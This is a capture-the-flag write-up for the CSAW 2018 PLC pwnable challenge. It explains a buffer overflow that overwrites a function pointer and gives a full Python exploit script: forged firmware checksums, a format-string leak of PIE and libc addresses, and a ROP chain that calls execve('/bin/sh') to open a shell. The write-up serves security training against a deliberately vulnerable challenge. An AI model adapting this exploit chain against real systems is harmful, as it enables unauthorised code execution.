**Description**
> We've burrowed ourselves deep within the facility, gaining access to the programable logic controllers (PLC) that drive their nuclear enrichment centrifuges. Kinetic damage is necessary, we need you to neutralize these machines.> > You can access this challenge at https://wargames.ret2.systems/csaw_2018_plc_challenge> > NOTE The wargames platform is out of scope for this challenge, just use it to do the pwnable challenge. Any kind of scanning or misuse will get your ip banned! However, if you do happen to find any security issues, please email us at `contact at ret2.io`
**No files provided**
**Solution** (by [Mem2019](https://github.com/Mem2019))
1. use `x` command to dump the binary, so that we can cheat using IDA.2. after some reversing, we found that there is overflow and no null termination when we fill `enrichment` string3. There is a function pointer just after it, which should point to `sub_AB0`, we can leak pie first4. then after some debugging, we know that when we call that function pointer, the `rdi` points to `enrichment`5. change that function to `printf`, so we can leak the `libc` address6. then change it to a ROP gadget, which can let the program go to our ROP chain, 7. because there is a 128-length buffer that we can control in stack8. use return to syscall using gadgets in libc, since the original `execve` is disabled
```pythonimport interactsh = interact.Process()
def u16(st):	assert len(st) == 2	return ord(st[0]) + (ord(st[1]) << 8)
def p16(num):	return chr(num & 0xff) + chr((num >> 8) & 0xff)
def u64(st):	return u16(st[0:2]) + (u16(st[2:4]) << 0x10) + (u16(st[4:6]) << 0x20) + (u16(st[6:8]) << 0x30)
def p64(num):	return p16(num & 0xffff) + p16((num >> 0x10) & 0xffff) + p16((num >> 0x20) & 0xffff) + p16((num >> 0x30) & 0xffff)
def checksum(codes):	codes_len = 1020	assert len(codes) == codes_len	acc = 0	k = 2	for i in xrange(0, codes_len, 2):		acc = u16(codes[i:i+2]) ^ ((k + (((acc << 12) & 0xffff) | (acc >> 4))) & 0xffff)		k += 1	return acc
def make_fw(codes):	codes = "19" + codes	cs = checksum(codes)	ret = "FW" + p16(cs) + codes	assert len(ret) == 0x400	return ret
def update(codes):	sh.send("U\n")	sh.send(make_fw(codes.ljust(1018,"\x00")))
def execute(payload = '', leak = False):	sh.send("E".ljust(8,'\x00') + payload + "\n") #at 11$	if leak:		sh.readuntil("2019")		return sh.readuntil("\x7f")
def status():	sh.send("S\n")	print sh.readuntil("ENRICHMENT MATERIAL: " + 'A' * 68)	ret = sh.readuntil("\n")	ret = ret[:len(ret)-1]	return ret
def make_payload(st):	ret = ""	for c in st:		ret += '2'		ret += c	return ret
def make_format(fmt):	return make_payload("2019" + fmt + "A" * (64-len(fmt)) + p64(prog_addr + 0x900)) #printf
print sh.readuntil("- - - - - - - - - - - - - - - - - - - - \n")print sh.readuntil("- - - - - - - - - - - - - - - - - - - - \n")#update("7" * 70 + "31" + "21" * 0x100 + "9")update("2A" * 68 + "9")execute()
prog_addr = (u64(status() + "\x00\x00") - 0xAB0)print hex(prog_addr)trigger = "7" * 70 + "31" + "9"update(make_format("%11$s") + trigger)leak = execute(p64(prog_addr + 0x202018), True) #puts
libc_addr = u64(leak + "\x00\x00") - 0x6f690print hex(libc_addr)
rop_start = libc_addr + 0x10a407 # add rsp, 0x40 ; retpop_rax_ret = libc_addr + 0x33544pop_rdi_ret = libc_addr + 0x21102pop_rsi_ret = libc_addr + 0x202e8pop_rdx_ret = libc_addr + 0x1b92
rop = p64(pop_rax_ret) + '\x3b'.ljust(8, '\x00')# bug? p64(59) #execve rop += p64(pop_rdi_ret) + p64(libc_addr + 0x18CD57) #/bin/shrop += p64(pop_rsi_ret) + p64(0)rop += p64(pop_rdx_ret) + p64(0)rop += p64(libc_addr + 0xF725E) #syscall
update(make_payload("2019" + "A" * 64 + p64(rop_start)) + trigger)execute('A' * 0x10 + rop)
sh.interactive()```